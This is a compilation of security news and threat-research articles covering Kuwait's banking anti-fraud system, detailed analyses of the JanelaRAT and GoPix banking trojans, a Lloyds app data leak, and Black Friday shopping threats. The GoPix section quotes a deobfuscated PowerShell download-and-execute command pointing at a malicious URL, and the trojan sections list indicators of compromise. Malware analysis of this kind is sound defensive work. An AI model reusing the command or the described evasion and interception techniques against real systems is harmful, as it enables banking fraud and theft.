Kuwait’s banking sector is strengthening its defenses against rising Kuwait cyber fraud threats with the deployment of an advanced virtual operations system designed to detect and respond to financial crimes in real time. The initiative, led by the Kuwait Banking Association, comes under the direction of the Central Bank of Kuwait as part of a broader effort to counter increasing fraud targeting bank customers.

Virtual War Room Enhances Financial Cybercrime Response

Officials say the newly enhanced platform, often described as a virtual war room banking system, has evolved into a centralized national mechanism to tackle Kuwait cyber fraud threats more effectively. According to Abdulwahab Al-Duaij, head of the Anti-Fraud Committee at the association, the system enables banks and authorities to act quickly when fraud is detected. It connects directly with government bodies, including the Ministry of Interior and the Public Prosecution, allowing coordinated action without delays. This level of integration is seen as a critical step in addressing financial cybercrime Kuwait, where speed often determines whether stolen funds can be recovered.

Real-Time Action to Stop Fraudulent Transactions

One of the key features of the system is its ability to respond immediately to incidents. Once suspicious activity is identified, the platform allows authorities to halt transactions, trace the movement of funds, and begin legal proceedings. This rapid response capability is central to tackling Kuwait cyber fraud threats, which increasingly involve fast-moving digital transactions that can be difficult to track after the fact. Officials say the banking fraud detection system has already improved the efficiency of handling fraud cases, reducing response times and limiting financial losses for customers.

Shift From Reactive to Proactive Monitoring

The upgraded system marks a shift in how Kuwait cyber fraud threats are managed. Instead of reacting only after fraud occurs, the platform now actively monitors patterns and emerging tactics used by attackers. Authorities have identified a range of common scams, including fake bank communications, fraudulent links requesting data updates, misleading advertisements, and false prize claims. These tactics are designed to trick users into sharing sensitive information. By tracking these patterns, the system aims to detect suspicious activity earlier and prevent fraud attempts before they succeed.

Coordination Strengthens National Cyber Defense

The collaboration between banks, law enforcement, and regulatory bodies is a key part of the strategy. Officials say this coordinated approach improves visibility into threats and ensures that responses are aligned across institutions. As Kuwait cyber fraud threats continue to evolve, such coordination is becoming increasingly important. Financial fraud is no longer limited to isolated incidents but often involves organized networks using multiple channels to target victims. The virtual chamber serves as a central hub where information can be shared quickly, enabling faster and more informed decision-making.

Customers Urged to Stay Vigilant

While the system strengthens institutional defenses, officials stress that customer awareness remains essential in reducing Kuwait cyber fraud threats. Users are being warned not to share banking details, passwords, or one-time codes under any circumstances. Banks have reiterated that they do not request such information through phone calls, text messages, or online links. Many recent fraud cases have relied on social engineering techniques, where attackers impersonate trusted entities to gain access to sensitive data.

Ongoing Efforts to Address Emerging Threats

The Kuwait Banking Association says the virtual system will continue to evolve as new fraud techniques emerge. The goal is to maintain a high level of readiness and ensure that financial institutions can respond effectively to changing risks. As digital banking adoption grows, Kuwait cyber fraud threats are expected to remain a key concern for both regulators and financial institutions. Strengthening detection systems and improving response coordination are likely to remain central to the country’s cybersecurity strategy. Officials say the focus will remain on protecting customer assets, maintaining trust in the banking system, and ensuring that fraud cases are addressed quickly within legal frameworks.

Background

JanelaRAT is a malware family that takes its name from the Portuguese word “janela” which means “window”. JanelaRAT looks for financial and cryptocurrency data from specific banks and financial institutions in the Latin America region.

JanelaRAT is a modified variant of BX RAT that has targeted users since June 2023. One of the key differences between these Trojans is that JanelaRAT uses a custom title bar detection mechanism to identify desired websites in victims’ browsers and perform malicious actions.

The threat actors behind JanelaRAT campaigns continuously update the infection chain and malware versions by adding new features.

Kaspersky solutions detect this threat as Trojan.Script.Generic and Backdoor.MSIL.Agent.gen.

Initial infection

JanelaRAT campaigns involve a multi-stage infection chain. It starts with emails mimicking the delivery of pending invoices to trick victims into downloading a PDF file by clicking a malicious link. Then the victims are redirected to a malicious website from which a compressed file is downloaded.

Throughout our monitoring of these malware campaigns, the compressed files have typically contained VBScripts, XML files, other ZIP archives, and BAT files. They ultimately lead to downloading a ZIP archive that contains components for DLL sideloading and executing JanelaRAT as the final payload.

However, we have observed variations in the infection chains depending on the delivered version of the malware. The latest observed campaign evolved by integrating MSI files to deliver a legitimate PE32 executable and a DLL, which is then sideloaded by the executable. This DLL is actually JanelaRAT, delivered as the final payload.

Based on our analysis of previous JanelaRAT intrusions, the updates in the infection chain represent threat actors’ attempts to streamline the process, with a reduced number of malware installation steps. We’ve observed a logical sequence in how components, such as MSI files, have been incorporated and adapted over time. Moreover, we have observed the use of auxiliary files — additional components that aid in the infection — such as configuration files that have been changing over time, showing how the threat actors have adapted these infections in an effort to avoid detection.

Initial dropper

The MSI file acts as an initial dropper designed to install the final implant and establish persistence on the system. It obfuscates file paths and names with the objective to hinder analysis. This code is designed to create several ActiveX objects to manipulate the file system and execute malicious commands.

Among the actions taken, the MSI defines paths based on environment variables for hosting binaries, creating a startup shortcut, and storing a first-run indicator file. The dropper file checks for the existence of the latter and for a specific path, and if either is missing, it creates them. If the file exists, the MSI file redirects the user to an external website as a decoy, showing that everything is “normal”.

The MSI dropper places two files at a specified path: the legitimate executable nevasca.exe and the PixelPaint.dll library, renaming them with obfuscated combinations of random strings before relocating. An LNK shortcut is created in the user’s Startup folder, pointing to the renamed nevasca.exe executable, ensuring persistence. Finally, the nevasca.exe file is executed, which in turn loads the PixelPaint.dll file that is JanelaRAT.

Malicious implant

In this case, we analyzed JanelaRAT version 33, which was masqueraded as a legitimate pixel art app. Similar to other malware versions, it was protected with Eazfuscator, a common .NET obfuscation tool. We have also seen previous JanelaRAT samples that used the ConfuserEx obfuscator or its custom builds. The malware uses Control Flow Flattening method and renames classes and variables to make the code unreadable without deobfuscation.

JanelaRAT monitors the victim’s activity, intercepts sensitive banking interactions, and establishes an interactive C2 channel to report changes to the threat actor. While screen monitoring is also present, the core functionality focuses on financial fraud and real-time manipulation of the victim’s machine. The malware collects system information, including OS version, processor architecture (32-bit, 64-bit, or unknown), username, and machine name. The Trojan evaluates the current user’s privilege level and assigns different nicknames for administrators, users, guests, and an additional one for any other role.

The malware then retrieves the current date and constructs a beacon to register the victim on the C2 server, along with the malware version. To prevent multiple instances, the malware creates the mutex and exits if it already exists.

String encryption

All JanelaRAT samples utilize encrypted strings for sending information to the C2 and obfuscating embedded data. The encryption algorithm remains consistent across campaigns, combining base64 encoding with Rijndael (AES). The encryption key is derived from the MD5 hash of a 4-digit number and the IV is composed of the first 16 bytes of the decoded base64 data.

C2 communication and command handling

After initialization, JanelaRAT establishes a TCP socket, configuring callbacks for connection events and message handling. It registers all known message types, executing specific system tasks based on the received message.

Following socket initialization, the malware launches two background routines:

1. User inactivity and session tracking
   This routine activates timers and launches secondary threads, including an internal timer and a user inactivity monitor. The malware determines if the victim’s machine has been inactive for more than 10 minutes by calculating the elapsed time since the last user input. If the inactivity period exceeds 10 minutes, the malware notifies the C2 by sending the corresponding message. Upon user activity, it notifies the threat actor again. This makes it possible to track the user’s presence and routine to time possible remote operations.
   

   Timer that looks for 10 minutes of inactivity

2. Victim registration and further malicious activity
   This routine is launched immediately after the socket setup. It triggers two subroutines responsible for periodic HTTP beaconing and downloading additional payloads.
   1. The first subroutine executes a PowerShell downloaded from a staging server during post-exploitation. Its main objective is to establish persistence by downloading the PixelPaint.dll file once again. The routine then builds and executes periodic HTTP requests to the C2, reporting the malware’s version and the victim machine’s security environment. It loops continuously as long as a specific local file does not exist, ensuring repeated telemetry transmission. The file was not observed being extracted or created by the malware itself; rather, it appears to be placed on the system by the threat actor during other post-exploitation activities. Based on previous incidents, this file likely contains instructions for establishing persistence.

      This JanelaRAT version constructs a second C2 URL for beaconing, using several decrypted strings and following a pattern that uses different parameters to report information about new victims:

      <C2Domain>?VS=<malwareversion>&PL=<profilelevel>&AN=<presenceofbankingsoftware>

      We have observed constant changes in the parameters across campaigns. A new parameter “AN” was introduced in this version. It is used to detect the presence of a specific process associated with banking security software. If such software is found on the victim’s device, the malware notifies the threat actor.

      Parameter	Description
      VS	JanelaRAT version
      PL	OFF by default
      AN	Yes or No depending on whether banking security software process exists

   2. The second subroutine is responsible for monitoring the user’s visits to banking websites and reporting any activity of interest to the threat actor. JanelaRAT 33v is specifically engineered to target Brazilian financial institutions. However, we have also observed other versions of the malware targeting other specific countries in the region, such as the “Gold-Label” version targeting banking users in Mexico that we described earlier.

      This subroutine creates a timer to enable an active system monitoring cycle. During this cycle, the malware obtains the title of the active window and checks if it matches entries of interest using a hardcoded but obfuscated list of financial institutions. Although the threat actors behind JanelaRAT primarily focus on one country as a target, the list of financial institutions is constantly updated.

      If a title bar matches one of the listed targets, the malware waits 12 seconds before establishing a dedicated communication channel to the C2. This channel is used to execute malicious tasks, including taking screenshots, monitoring keyboard and mouse input, displaying messages to the user, injecting keystrokes or simulating mouse input, and forcing system shutdown.

      To perform these actions, the malware uses a dedicated C2 handler that interprets incoming commands from the C2. Notably, 33v supports live banking session hijacking, not just credential theft.

      Action Performed	Description
      Capture desktop image	Send compressed screenshots to the C2
      Specific screenshots	Crop specific screen regions and exfiltrate images
      Overlay windows	Display images in full-screen mode, limit user interactions, and mimic bank dialogs to harvest credentials
      Keylogging	Keystroke capture
      Simulate keyboard	Inject keys such as DOWN, UP, and TAB to navigate or trigger new elements
      Track mouse input	Move the cursor, simulate clicks, and report the cursor position
      Display message	Show message boxes (custom title, text, buttons, or icons)
      System shutdown	Execute a forced shutdown sequence
      Command execution	Run CMD or PowerShell scripts/commands
      Task Manager manipulation	Launch Task Manager, find its window, and hide it to prevent discovery by the user
      Check for banking security software process	Detect the presence of anti-fraud systems
      Beaconing	Send host information (malware version, profile, presence of banking software)
      Toggle internal modes	Enable and disable modes such as screenshot flow, key injection, or overlay visibility
      Anti-analysis	Detect sandbox or automation tools

C2 infrastructure

Unlike other versions, this variant rotates its C2 server daily. Once a title bar matches the one in the list, the software dynamically constructs the C2 channel domain by concatenating an obfuscated string, the current date, and a suffix domain related to a legitimate dynamic DNS (DDNS) service. This communication is established using port 443, but not TLS.

Decoy overlay system

This version of JanelaRAT implements a decoy overlay system designed to capture banking credentials and bypass multi-factor authentication. When a target banking window is detected, the malware requests further instructions from the C2 server. The C2 responds with a command identifier and a Base64-encoded image, which is then displayed as a full-screen overlay window mimicking legitimate banking or system interfaces. The malware ensures the fake window completely covers the screen and limits the victim’s interaction with the system.

The malware blocks the victim’s interaction by displaying modal dialogs. Each modal dialog corresponds to a specific operation, such as password capture, token/MFA capture, fake loading screen, fake Windows update full-screen modal and more. The malware resizes the overlay, scans multiple screens, and loads deceptive elements to distract the user or temporarily hide legitimate application windows.

Among other fake elements, the malware displays fake Windows update notifications, often accompanied by messages in Brazilian Portuguese, such as:

• “Configuring Windows updates, please wait.”
• “Do not turn off your computer; this could take some time.”

When a message command is received from the operator, the malware constructs a custom message box based on parameters sent from the server. These parameters include the message title, text content, button type (e.g., OK, Yes/No), and icon type (e.g., Warning, Error). The malware then creates a maximized message box positioned at the top of the screen, ensuring it captures user focus and blocks the visibility of other windows, mimicking a system or security alert.

An obfuscated acknowledgement string is sent back to the C2 to confirm successful execution of this task.

Anti-analysis techniques

In addition to the conditional behavior based on whether the process of banking security software is detected, the malware includes anti-analysis routines and computer environment checks, such as sandbox detection through the Magnifier and MagnifierWindow components. These components are used to determine if accessibility tools are active on the infected computer indicating a possible malware analysis environment.

Persistence

The malware establishes persistence by writing a command script into the Windows Startup directory. This script forces the execution chain to run at each user logon enabling malicious activity without triggering privilege escalation prompts. The script is executed silently to evade user awareness.

This method is either an alternative or a supplement to the persistence method previously described in the subroutines responsible for periodic HTTP beaconing section.

Victimology

Consistent with previous intrusions and campaigns, the primary targets of the threat actors distributing JanelaRAT are banking users in Latin America, with specific focus on users of financial institutions in Brazil and Mexico.

According to our telemetry, in 2025 we detected 14,739 attacks in Brazil and 11,695 in Mexico related to JanelaRAT.

Conclusions

JanelaRAT remains an active and evolving threat, with intrusions exhibiting consistent characteristics despite ongoing modifications. We have tracked the evolution of JanelaRAT infections for some time, observing variations in both the malware itself and its infection chain, including targeted variants for specific countries.

This variant represents a significant advancement in the actor’s capabilities, combining multiple communication channels, comprehensive victim monitoring, interactive overlays, input injection, and robust remote control features. The malware is specifically designed to minimize user visibility and adapt its behavior upon detection of anti-fraud software.

To mitigate the risk of communication with the C2 infrastructure utilizing similar evasive techniques, we recommend that defenders block dynamic DNS services at the corporate perimeter or internal DNS resolvers. This will disrupt the communication channels used by JanelaRAT and similar threats.

Indicators of compromise

808c87015194c51d74356854dfb10d9e         MSI Dropper
d7a68749635604d6d7297e4fa2530eb6        JanelaRAT
ciderurginsx[.]com         Primary C2

Android banking trojan linked to Cambodia scam compounds uses forced labour to target users in 21 countries, bypassing security to steal funds.

Lloyds Banking Group to compensate 450,000 customers after app glitch exposed data. Find out how the glitch affected…

Letter from group published by MPs blames 12 March glitch on software update to its mobile banking apps

Lloyds Banking Group exposed the personal data of nearly 500,000 customers in an IT glitch that left people’s payments, account details and national insurance numbers visible to other users, a committee of MPs has revealed.

A letter from Lloyds, published by MPs on the Treasury select committee on Friday, blamed the glitch on a software defect introduced during an IT update to its Lloyds, Halifax and Bank of Scotland mobile banking apps overnight into 12 March.

Continue reading...

© Photograph: David Burton/Alamy

© Photograph: David Burton/Alamy

© Photograph: David Burton/Alamy

Introduction

GoPix is an advanced persistent threat targeting Brazilian financial institutions’ customers and cryptocurrency users. It represents an evolved threat targeting internet banking users through memory-only implants and obfuscated PowerShell scripts. It evolved from the RAT and Automated Transfer System (ATS) threats that were used in other malware campaigns into a unique threat never seen before. Operating as a LOLBin (Living-off-the-Land Binary), GoPix exemplifies a sophisticated approach that integrates malvertising vectors via platforms such as Google Ads to compromise prominent financial institutions’ customers.

Our extensive analysis reveals GoPix’s capabilities to execute man-in-the-middle attacks, monitor Pix transactions, Boleto slips, and manipulate cryptocurrency transactions. The malware strategically bypasses security measures implemented by financial institutions while maintaining persistence and employing robust cleanup mechanisms to challenge Digital Forensics and Incident Response (DFIR) efforts.

GoPix has reached a level of sophistication never before seen in malware originating in Brazil. It’s been over three years since we first identified it, and it remains highly active. The threat is recognized for its stealthy methods of infecting victims and evading detection by security software, using new tricks to stay operable.

The threat differs in its behavior from the RATs already seen in other Brazilian families, such as Grandoreiro. GoPix uses C2s with a very short lifespan, which stay online only for a few hours. In addition, the attackers behind this threat abuse legitimate anti-fraud and reputation services to perform targeted delivery of its payload and ensure that they have not infected a sandbox or system used in analysis. They handpick their victims, financial bodies of state governments and large corporations.

The campaign leverages a malvertisement technique which has been active since December 2022. The strategic use of multiple obfuscation layers and a stolen code signing certificate showcases GoPix’s ability to evade traditional security defenses and steal and manipulate sensitive financial data.

The Brazilian group behind GoPix is clearly learning from APT groups to make malware persistent and hide it, loading its modules into memory, keeping few artifacts on disk, and making hunting with YARA rules ineffective for capturing them. The malware can also switch between processes for specific functionalities, potentially disabling security software, as well as executing a man-in-the-middle attack with a previously unseen technique.

Initial infection

Initial infection is achieved through malvertising campaigns. The threat actors in most cases use Google Ads to spread baits related to popular services like WhatsApp, Google Chrome, and the Brazilian postal service Correios and lure victims to malicious landing pages.

We have been monitoring this threat since 2023, and it continues to be very active for the time being.

GoPix malware campaign detections (download)

The initial infection vector is shown below:

When the user ends up on the GoPix landing page, the malware abuses legitimate IP scoring systems to determine whether the user is a target of interest or a bot running in malware analysis environments. The initial scoring is done through a legitimate anti-fraud service, with a number of browser and environment parameters sent to this service, which returns a request ID. The malicious website uses this ID to check whether the user should receive the malicious installer or be redirected to a harmless dummy landing page. If the user is not considered a valuable target, no malware is delivered.

However, if the victim passes the bot check, the malicious website will query the check.php endpoint, which will then return a JSON response with two URLs:

The victim will then be presented with a fake webpage offering to download advertised software, this being the malicious “WhatsApp Web installer” in the case at hand. To decide which URL the victim will be redirected to, another check happens in the JavaScript code for whether the 27275 port is open on localhost.

This port is used by the Avast Safe Banking feature, present in many Avast products, which are very popular in countries like Brazil. If the port is open, the victim is led to download the first-stage payload from the second URL (url2). It is a ZIP file containing an LNK file with an obfuscated PowerShell designed to download the next stage. If the port is closed, the victim is redirected to the first URL (url), which offers to download a fake WhatsApp executable NSIS installer.
At first, we thought this detection could lead the victim to a potential exploit. However, during our research, we discovered that the only difference was that if Avast was installed, the victim was led to another infection vector, which we describe below.

Infection chain

First-stage payload

If no Avast solution is installed, an executable NSIS installer file is delivered to the victim’s device. The attackers change this installer frequently to avoid detection. It’s digitally signed with a stolen code signing certificate issued to “PLK Management Limited”, also used to sign the legitimate “Driver Easy Pro” software.

The purpose of the NSIS installer is to create and run an obfuscated batch file, which will use PowerShell to make a request to the malicious website for the next-stage payload.

However, if the 27275 port is open, indicating the victim has an Avast product installed, the infection happens through the second URL. The victim is led to download a ZIP file with an LNK file inside. This shortcut file contains an obfuscated command line.

Deobfuscated command line:

WindowsPowerShell\v10\powershell (New-Object NetWebClient)UploadString("http://MALICIOUS/1/","tHSb")|$env:E -

The purpose of this command line is to download and execute the next-stage payload from the malicious URL referenced above.

It’s highly likely this method is used because Avast Safe Browser blocks direct downloads of executable files, so instead of downloading the executable NSIS installer, a ZIP file is delivered.

Once the PowerShell command from either the LNK or EXE file is executed, GoPix executes yet another obfuscated PowerShell script that is remotely retrieved (in the GoPix downloader image below, it’s defined as “PowerShell Script”).

Initial PowerShell script

This script’s purpose is to collect system information and send it to the GoPix C2. Upon doing so, the script obtains a JSON file containing GoPix modules and a configuration that is saved on the victim’s computer.

The information contained within this JSON is as follows:

• Folder and file names to be created under the %APPDATA% directory
• Obfuscated PowerShell script
• Encrypted PowerShell script ps
• Malicious code implant sc containing encrypted GoPix dropper shellcode, GoPix dropper, main payload shellcode and main GoPix implant
• GoPix configuration file pf

Once these files are saved, an additional batch file is also created and executed. Its purpose is to launch the obfuscated PowerShell script.

PSExecutionPolicyPreference=Unrestricted
powershell -File "$scriptPath"
exit

Obfuscated PowerShell script

Upon execution, the obfuscated PowerShell script decrypts the encrypted PowerShell script ps, starts another PowerShell instance, and passes the decrypted script through its stdin, so that the decrypted script is never loaded to disk.

Decrypted PowerShell script “ps”

The purpose of this memory-only PowerShell script is to perform an in-memory decryption of the GoPix dropper shellcode, GoPix dropper, main payload shellcode and main GoPix malware implant into allocated memory. After that, it creates a small piece of shellcode within the PowerShell process to jump to the GoPix dropper shellcode previously decrypted.

The GoPix dropper shellcode is built for either the x86 or x64 architecture, depending on the victim’s computer.

Shellcode

This shellcode is bundled with the malware and stays in encrypted form on disk. It is utilized at two separate stages of the infection chain: first to launch the GoPix dropper and subsequently to execute the main GoPix malware. We’ve observed two versions of this shellcode. The main difference is the old one resolves API addresses by their names, while the latest one employs a hashing algorithm to determine the address of a given API. The API hash calculation begins by generating a hash for the DLL name, and this resulting hash is then used within the function name to compute the final API hash.

The first time GoPix is dropped into memory through PowerShell, its structure is as follows:

1. Memory dropper shellcode
2. Memory dropper DLL
3. Main payload shellcode
4. Main payload DLL

Both DLLs have their MZ signature erased, which helps to evade detection by memory dumping tools that scan for PE files in memory.

GoPix dropper

When the main function from the dropper is called, it verifies if it is running within an Explorer.exe process; if not, it will terminate. It then sequentially checks for installed browsers — Chrome, Firefox, Edge, and Opera — retrieving the full path of the first detected browser from the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths. A significant difference from previously analyzed droppers is that this version encrypts each string using a unique algorithm.

After selecting the browser, the dropper uses direct syscalls to launch the chosen browser process in a suspended state. This allows it to inject the main GoPix shellcode and its parameters into the process. The injected shellcode is tasked with extracting and loading the main GoPix implant directly into memory, subsequently calling its exported main function. The parameters passed include the number 1, to trigger the main GoPix function, and the current Process ID, which is that of Explorer.exe.

Main GoPix implant

Clipboard stealing functionality

Boleto bancário was added as one of the targets to the malware’s clipboard stealing and replacing feature. Boleto is a popular payment method in Brazil that functions similarly to an invoice, being the second most popular payment system in the country. It is a standardized document that includes important payment information such as the amount due, due date, and details of the payee. It features a typeable line, which is a sequence of numbers that can be entered in online banking applications to pay. This line is what GoPix targets with its functionality. An example of such a line is “23790.12345 60000.123456 78901.234567 8 76540000010000”.

When GoPix detects a Pix or Boleto transaction, it simply sends this information to the C2. However, when a Bitcoin or Ethereum wallet is copied to the clipboard, the malware replaces the address with one belonging to the threat actor.

Unique man-in-the-middle attack

PAC (Proxy AutoConfig) files are nothing new; they’ve been used by Brazilian criminals for over two decades, but GoPix takes this to another level. While in the past, criminals used PAC files to redirect victims to a fake phishing page, the purpose of the PAC file in GoPix attacks is to manipulate the traffic while the user navigates the legitimate financial website.

In order to hide which site GoPix wants to intercept, it uses a CRC32 algorithm in the host field of the PAC file. It is formatted on the fly using a pf configuration file: the items in it determine which proxy the victim will be redirected to. To hide its malicious proxy server, once a connection is opened to the proxy server, the malware enumerates all connections and finds the process that initiated it. It then takes the process executable name CRC32C checksum and compares it with a hardcoded list of browsers’ CRC checksums. If it doesn’t match a known browser, the malware simply terminates the connection.

To uncover GoPix targets, we compiled a list of many Brazilian financial institution domains and subdomains, computed their CRC32 checksums, and compared them against GoPix hardcoded values. The table below shows each CRC32 and its target.

CRC32	Target
8BD688E8	local
8CA8ACFF	www2.banco********.com.br
AD8F5213	autoatendimento.********.com.br
105A3F17	www2.****.com.br
B477FE70	internetbanking.*******.gov.br
785F39C2	loginx.********.br
C72C8593	internetpf.*****.com.br
75E3C3BA	internet.*****.com.br
FD4E6024	internetbanking.*******.com.br

HTTPS interception

Since every communication is encrypted via HTTPS, GoPix bypasses this by injecting a trusted root certificate into the memory of a web browser while on the victim’s machine. This allows the attacker to sniff and even manipulate the victim’s traffic. We have found two certificates across GoPix samples, one that expired in January 2025 and another created in February 2025 that is set to expire in February 2027.

Conclusion

With the ability to load its memory-only implant that employs a malicious Proxy AutoConfig (PAC) file and an HTTP server to execute an unprecedented man-in-the-middle attack, GoPix is by far the most advanced banking Trojan of Brazilian origin. The injection of a trusted root certificate into the browser enhances its ability to intercept and manipulate sensitive financial data while maintaining its stealth profile, as the malicious certificate is not visible to operating system tools. Additionally, GoPix has expanded its clipboard monitoring capability by adding Boleto slips to its arsenal, which already includes Pix transactions and cryptowallets addresses.

This is a sophisticated threat, with multiple layers of evasion, persistence, and functionality. The investigation into the malware’s shellcode, dropper, and main module uncovered intricate mechanisms, including process jumping to leverage specific functionalities across processes. This technique, combined with robust string encryption methods applied to both the dropper and main payload, indicates that the threat actor has gone to great lengths to hinder detection. Interestingly enough, attackers adopted the use of a legitimate commercial anti-fraud service to pre-qualify their targets, aiming to avoid sandboxes and security researchers’ investigations. Additionally, the persistence and cleanup mechanisms implemented by the malware enhance its durability during incident response efforts, with very short C2 lifespans.

For further information on GoPix and all technical details, please contact crimewareintel@kaspersky.com.

Kaspersky’s products detect this threat as HEUR:Trojan-Banker.Win64.GoPix, Trojan.PowerShell.GoPix, and HEUR:Trojan-Banker.OLE2.GoPix.

Indicators of compromise

EB0B4E35A2BA442821E28D617DD2DAA2 – NSIS installer
C64AE7C50394799CE02E97288A12FFF – ZIP archive with an LNK file
D3A17CB4CDBA724A0021F5076B33A103 – Malware dropper
28C314ACC587F1EA5C5666E935DB716C – Main payload

Malicious Certificate Thumbprint
<Name(CN=Root CA 2024)> f110d0bd7f3bd1c7b276dc78154dd21eef953384
<Name(CN=Root CA 2025)> 1b1f85b68e6c9fde709d975a186185c94c0faa51

C2
paletolife[.]com

Domains and IPs
https://correioez0ubcfht9i3.lovehomely[.]com/
https://correiotwknx9gu315h.lovehomely[.]com/
http://webmensagens4bb7[.]com/
https://mydigitalrevival[.]com/get.php
http://b3d0[.]com/1/
http://4a3d[.]com/1/
http://9de1[.]com/1/
http://ef0h[.]com/1/
http://yogarecap[.]com/1/

The global e‑commerce market is accelerating faster than ever before, driven by expanding online retail, and rising consumer adoption worldwide. According to McKinsey Global Institute, global e‑commerce is projected to grow by 7–9% annually through 2040.

At Kaspersky, we track how this surge in online shopping activity is mirrored by cyber threats. In 2025, we observed attacks which targeted not only e‑commerce platform users but online shoppers in general, including those using digital marketplaces, payment services and apps for everyday purchases. This year, we additionally analyzed how cybercriminals exploited gaming platforms during Black Friday, as the gaming industry has become an integral part of the global sales calendar. Threat actors have been ramping up their efforts during peak sales events like Black Friday, exploiting high demand and reduced user vigilance to steal personal data, funds, or spread malware.

This report continues our annual series of analyses published on Securelist in 2021, 2022, 2023, and  2024, which examine the evolving landscape of shopping‑related cyber threats.

Methodology

To track how the shopping threat landscape continues to evolve, we conduct an annual assessment of the most common malicious techniques, which span financial malware, phishing pages that mimic major retailers, banks, and payment services, as well as spam campaigns that funnel users toward fraudulent sites. In 2025, we also placed a dedicated focus on gaming-related threats, analyzing how cybercriminals leverage players’ interest. The threat data we rely on is sourced from the Kaspersky Security Network (KSN), which processes anonymized cybersecurity data shared consensually by Kaspersky users. This report draws on data collected from January through October 2025.

Key findings

• In the first ten months of 2025, Kaspersky identified nearly 6.4 million phishing attacks which targeted users of online stores, payment systems, and banks.
• As many as 48.2% of these attacks were directed at online shoppers.
• We blocked more than 146,000 Black Friday-themed spam messages in the first two weeks of November.
• Kaspersky detected more than 2 million phishing attacks related to online gaming.
• Around 1.09 million banking-trojan attacks were recorded during the 2025 Black Friday season.
• The number of attempted attacks on gaming platforms surged in 2025, reaching more than 20 million, a significant increase compared to previous years.
• More than 18 million attempted malicious attacks were disguised as Discord in 2025, a more than 14-time increase year-over-year, while Steam remained within its usual five-year fluctuation range.

Shopping fraud and phishing

Phishing and scams remain among the most common threats for online shoppers, particularly during high-traffic retail periods when users are more likely to act quickly and rely on familiar brand cues. Cybercriminals frequently recreate the appearance of legitimate stores, payment pages, and banking services, making their fraudulent sites and emails difficult to distinguish from real ones. With customers navigating multiple offers and payment options, they may overlook URL or sender details, increasing the likelihood of credential theft and financial losses.

From January through to October 2025, Kaspersky products successfully blocked 6,394,854 attempts to access phishing links which targeted users of online stores, payment systems, and banks. Breaking down these attempts, 48.21% had targeted online shoppers (for comparison, this segment accounted for 37.5% in 2024), 26.10% targeted banking users (compared to 44.41% in 2024), and 25.69% mimicked payment systems (18.09% last year). Compared to previous years, there has been a noticeable shift in focus, with attacks against online store users now representing a larger share, reflecting cybercriminals’ continued emphasis on exploiting high-demand retail periods, while attacks on banking users have decreased in relative proportion. This may be related to online banking protection hardening worldwide.

Financial phishing attacks by category, January–October 2025 (download)

In 2025, Kaspersky products detected and blocked 606,369 phishing attempts involving the misuse of Amazon’s brand. Cybercriminals continued to rely on Amazon-themed pages to deceive users and obtain personal or financial information.

Other major e-commerce brands were also impersonated. Attempts to visit phishing pages mimicking Alibaba brands, such as AliExpress, were detected 54,500 times, while eBay-themed pages appeared in 38,383 alerts. The Latin American marketplace Mercado Libre was used as a lure in 8,039 cases, and Walmart-related phishing pages were detected 8,156 times.

Popular online stores mimicked by scammers, January–October 2025 (download)

In 2025, phishing campaigns also extensively mimicked other online platforms. Netflix-themed pages were detected 801,148 times, while Spotify-related attempts reached 576,873. This pattern likely reflects attackers’ continued focus on high-traffic digital entertainment services with in-service payments enabled, which can be monetized via stolen accounts.

How scammers exploited shopping hype in 2025

In 2025, Black Friday-related scams continued to circulate across multiple channels, with fraudulent email campaigns remaining one of the key distribution methods. As retailers increase their seasonal outreach, cybercriminals take advantage of the high volume of promotional communications by sending look-alike messages that direct users to scam and phishing pages. In the first two weeks of November, 146,535 spam messages connected to seasonal sales were detected by Kaspersky, including 2,572 messages referencing Singles day sales.

Scammers frequently attempt to mimic well-known platforms to increase the credibility of their messages. In one of the recurring campaigns, a pattern seen year after year, cybercriminals replicated Amazon’s branding and visual style, promoting supposedly exclusive early-access discounts of up to 70%. In this particular case, the attackers made almost no changes to the text used in their 2024 campaign, again prompting users to follow a link leading to a fraudulent page. Such pages are usually designed to steal their personal or payment information or to trick the user into buying non-existent goods.

Beyond the general excitement around seasonal discounts, scammers also try to exploit consumers’ interest in newly released Apple devices. To attract attention, they use the same images of the latest gadgets across various mailing campaigns, just changing the names of legitimate retailers that allegedly sell the brand.

Scammers use an identical image across different campaigns, only changing the retailer’s branding

As subscription-based streaming platforms also take part in global sales periods, cybercriminals attempt to take advantage of this interest as well. For example, we observed a phishing website where scammers promoted an offer for a “12-month subscription bundle” covering several popular services at once, asking users to enter their bank card details. To enhance credibility, the scammers also include fabricated indicators of numerous successful purchases from other “users,” making the offer appear legitimate.

In addition to imitating globally recognized platforms, scammers also set up fake pages that pretend to be local services in specific countries. This tactic enables more targeted campaigns that blend into the local online landscape, increasing the chances that users will perceive the fraudulent pages as legitimate and engage with them.

Banking Trojans

Banking Trojans, or “bankers,” are another tool for cybercriminals exploiting busy shopping seasons like Black Friday in 2025. They are designed to steal sensitive data from online banking and payment systems. In this section, we’ll focus on PC bankers. Once on a victim’s device, they monitor the browser and, when the user visits a targeted site, can use techniques like web injection or form-grabbing to capture login credentials, credit card information, and other personal data. Some trojans also watch the clipboard for crypto wallet addresses and replace them with those controlled by the malicious actors.

As online shopping peaks during major sales events, attackers increasingly target e-commerce platforms alongside banks. Trojans may inject fake forms into legitimate websites, tricking users into revealing sensitive data during checkout and increasing the risk of identity theft and financial fraud. In 2025, Kaspersky detected over 1,088,293* banking Trojan attacks. Among notable banker-related cases analysed by Kaspersky throughout the year, campaigns involving the new Maverick banking Trojan distributed via WhatsApp, as well as the Efimer Trojan which spread through malicious emails and compromised WordPress sites can be mentioned, both illustrating how diverse and adaptive banking Trojan delivery methods are.

*These statistics include globally active banking malware, and malware for ATMs and point-of-sale (PoS) systems. We excluded data on Trojan-banker families that no longer use banking Trojan functionality in their attacks, such as Emotet.

A holiday sales season on the dark web

Apparently, even the criminal underground follows its own version of a holiday sales season. Once data is stolen, it often ends up on dark-web forums, where cybercriminals actively search for buyers. This pattern is far from new, and the range of offers has remained largely unchanged over the past two years.

Threat actors consistently seize the opportunity to attract “new customers,” advertising deep discounts tied to high-profile global sales events. It is worth noting that year after year we see the same established services announce their upcoming promotions in the lead-up to Black Friday, almost as if operating on a retail calendar of their own.

We also noted that dark web forum participants themselves eagerly await these seasonal markdowns, hoping to obtain databases at the most favorable rates and expressing their wishes in forum posts. In the months before Black Friday, posts began appearing on carding-themed forums advertising stolen payment-card data at promotional prices.

Threats targeting gaming

